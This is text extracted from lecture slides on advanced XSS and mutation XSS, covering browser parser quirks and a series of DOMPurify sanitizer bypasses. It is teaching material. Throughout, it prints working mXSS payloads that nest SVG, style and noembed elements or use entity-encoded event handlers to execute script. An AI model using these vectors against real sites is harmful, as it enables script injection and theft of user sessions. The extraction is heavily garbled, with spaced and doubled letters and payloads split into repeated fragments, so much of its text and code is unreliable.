We b & B r o ws e r S e c u r i t y D a y T - PowerPoint PPT Presentation

We b & B r o ws e r S e c u r i t y D a y T w o : A d v a n c e d X S S This is the day where we cover A lecture by Dr.-Ing. Mario Heiderich crazy stufg. Crazy. mario@cure53.de || mario.heiderich@rub.de

O u r D e a r L e c t u r e r ● D r . - I n n g g . M a r i o H H e e i d d e e r r i c h ● E x - - R R e s e a a r r c h e r a a n n d n o w L e c t u r e r , R u h r - - U U n i B o c h u m ● P h D T h e s i s a b o u t C l i e n t S i d e S e c u r i t y a n d D e f e n s e ● F o u n d e r & D i r e c t o r o f C u r e 5 5 3 3 ● P e n t e s t - & S e c u r i t y - F i r m l o c a t e d i n B e r l i n ● S e c u r i t y , C o n s u l t i n g , Wo r k s h o p s , T r a i n i n g s ● A s k f o r a n i n t e r n s h i p i f t h e f o r c e i s s t r o n g w i t h y o u ● P P u u b l i s h e d A u t h o r a a n n d S p e a a k k e r ● S p e c i a l i z e d o n H T M L 5 , D O M a n d S V G S e c u r i t y ● J a v a S c r i p t , X S S a n d C l i e n t S i d e A t t a c k s ● M M a a i i n t a i n s D O M M P P u u r i f f y y ● A t o p n o t c h J S - o n l y S a n i t i z e r , a l s o , c o u p l e o f o t h e r p r o j e c t s ● C a a n n b e c o n t a a c c t e d d b u t p r e f e r s n o t t o b e ● ma r i o @c u r e 5 3 . d e ● ma r i o . h e i d e r i c h @r u b . d e

A c t O n e A d d v v a a n n c e d d X X S S

A n d , b e f o r e g e t s t a r t e d . L e t ' s s t t h h i i n n k k a a b o u t t S S e e l l f - X S S . A A n n d o o n n e e k k i n n d d o o f C C S R R F F . A n d h o w w e c a n a b u s e t h a t .

[ . . . ]

Mu t a t i o n s i n t h e D O M: mX S S ● T h i s a t t a c k i s b a s i c a l l y a n i g h t ma r e c o me t r u e . B r o w s e r s t u r n e d a g a i n s t w e b a p p s . ● I ma g i n e , t h e b r o w s e r t u r n s h a r ml e s s H T M L i n t o a d a n g e r o u s a t t a c k v e c t o r s . ● T h e s e r v e r w i l l a s s u me s a n e ma r k u p a n d n o r i s k ● T h i s i s s u e i n d e e d e x i s t s , fj r s t r e p o r t e d i n 2 0 0 6 ● „ B r o k e n P r i n t - P r e v i e w “ h t t p : / / i s . g d / f L V S c q ● S t r i n g - M u t a t i o n i n c e r t a i n D O M p r o p e r t i e s ● R e s u l t : µ X S S , mX S S o r “ M u t a t i o n X S S ” ● B a c k t h e n , a fg e c t e d a p p l i c a t i o n s a n d l i b r a r i e s : 2 + M i l l i o n l i b r a r i e s a c c o r d i n g t o G i t h u b ● Yay! ● 6 + v e c t o r c l a s s e s , a fg e c t w e b ma i l e r s , e v e r y o n e w i t h a R T E DEMO ● Y a h o o ! M a i l , O WA , H o t ma i l , S h a r e p o i n t , e t c . ● A n d D O M P u r i f y o f c o u r s e , ma s s i v e l y s o ● L e t t ' ' s h h a a v e e a a c c l o o s s e e e e r r l o o o o k a a t t t t h h i i s !

O r , t o b e mo r e c l e a r ● A t t a c k e r s u b mi t s H T M L ● S e r v e r r e c e i v e s i t t o s a n i t i z e ● S a y s , t h a t l o o k s s a f e , a l l fj fj n e ● S e n d s i t b a c k t o b r o w s e r ● B r o w s e r r e c e i v e s H T M L ● R e n d e r s i t i n i t i a l l y , a l l fj fj n e ● S o me D O M l o g i c fj d d l e s w i t h i t ● B r o w s e r r e - r e n d e r s , H T M L mu t a t e s ● I n j e c t e d J a v a S c r i p t a c t i v a t e s a n d fj r e s

N e w V a r i a t i o n s B o t h v e c t o r s i d e n t i fj e d a n d p u b l i s h e d b y G a r e t h H e y e s <%/z=%&gt&lt;p/&#111;nresize&#x3d;alert(1) &#111;nresize&#x3d;alert(1)//> <div='/x=&#39&gt&lt;iframe/ &#39&gt&lt;iframe/ onlo load= d=ale lert( t(1)& )&gt>

O t h e r B r o ws e r s F i r e f o x c a n n o t b e t r u s t e d w i t h i n n e r H T M L a n d S V G <script> document.write('<svg><p><style><img src="</st style le><i <img g src rc=x x onerr on rror= r=ale lert( t(1)/ )//"> ">') </script> C h r o me c a n n o t b e t r u s t e d w i t h U n i c o d e ( s a d l y fj x e d i n C h r o me 6 2 ) <a href=&#x3 x3000 00;javascript:alert(1)>CLICK

O t h e r B r o ws e r s C h r o me r e c e n t l y fj x e d a n o t h e r mX S S p r o b l e m <math><annotation-xml encoding="text/html"><xmp>&lt; &lt;/xmp>&lt; &lt;img src=x onerror=alert(1)></xmp></annotation- xml></math>

C h e c k o u t t h e v i d e o ! h t t p s : / / i s . g d / o R N B L Z A n d a l l t h e c o d e ! h t t p s : / / i s . g d / S d P 0 S K

B u t i t g e t s wo r s e ● A u t u mn 2 0 1 9 w a s mX S S s e a s o n . S a d l y f o r u s . ● D O M P u r i f y g o t h i t b y a g o o d d o z e n o f b y p a s s e s ● F � i r s t f o u n d b y a 3 P a r t y , M i c h a B e n t k o w s k i r d ● T h e r e s t t h e n f o u n d “ i n t e r n a l l y ” ● T h e r e w a s t w o r o o t c a u s e s ● A n i n t e r n a l s w i t c h i n d o c u me n t t y p e s c h a n g e s t h e p a r s e r t y p e ● A s u d d e n c h a n g e i n d o c u me n t s t r u c t u r e c h a n g e s t h e p a r s e r t y p e

mX S S R o o t - C a u s e O n e ● A n i n t e r n a l s w i t c h i n d o c u me n t t y p e s c h a n g e s t h e p a r s e r t y p e ● T h e b r o w s e r t h i n k s i t ’ s X M L , t h e n t h i n k s i t ’ s H T M L ● O n c e t h a t “ r e c o n s i d e r a t i o n ” h a p p e n s , H T M L g e t s i n t e r p r e t e d d i fg e r e n t l y ● T h i s c a u s e s b y p a s s e s , e v e n a n d e s p e c i a l l y i n D O M s a n i t i z e r s l i k e D O M P u r i f y

<svg></p><style> <a id="</style><img src=1 onerror=alert(1)>">

<svg></p><style> <a id="</style><img src=1 onerror=alert(1)>">

<svg><p></p><style> <a id="</style><img src=1 onerror=alert(1)>">

mX S S R o o t - C a u s e T wo ● A s u d d e n c h a n g e i n d o c u me n t s t r u c t u r e c h a n g e s t h e p a r s e r t y p e ● T h e s w i t c h i s t r i g g e r e d b y f o r e x a mp l e e l e me n t r e mo v a l ● B r o w s e r t h i n k s X M L , e l e me n t g e t s r e mo v e d , b r o w s e r n o w t h i n k s H T M L ● A n d a s t h a t h a p p e n s , t h e H T M L g e t s i n t e r p r e t e d d i fg e r e n t l y

<noembed><svg><b><style><b title='</style><img src=x onerror=alert(1)>'>

<noembed><svg><b><style><b title='</style><img src=x onerror=alert(1)>'>

This element we don’t want, let’s remove it. <noembed><svg><b><style><b title='</style><img src=x onerror=alert(1)>'>

And boom, we force the parser into XML-mode because SVG. Harmless becomes harmful. removed <svg><b><style><b title='</style><img src=x onerror=alert(1)>'>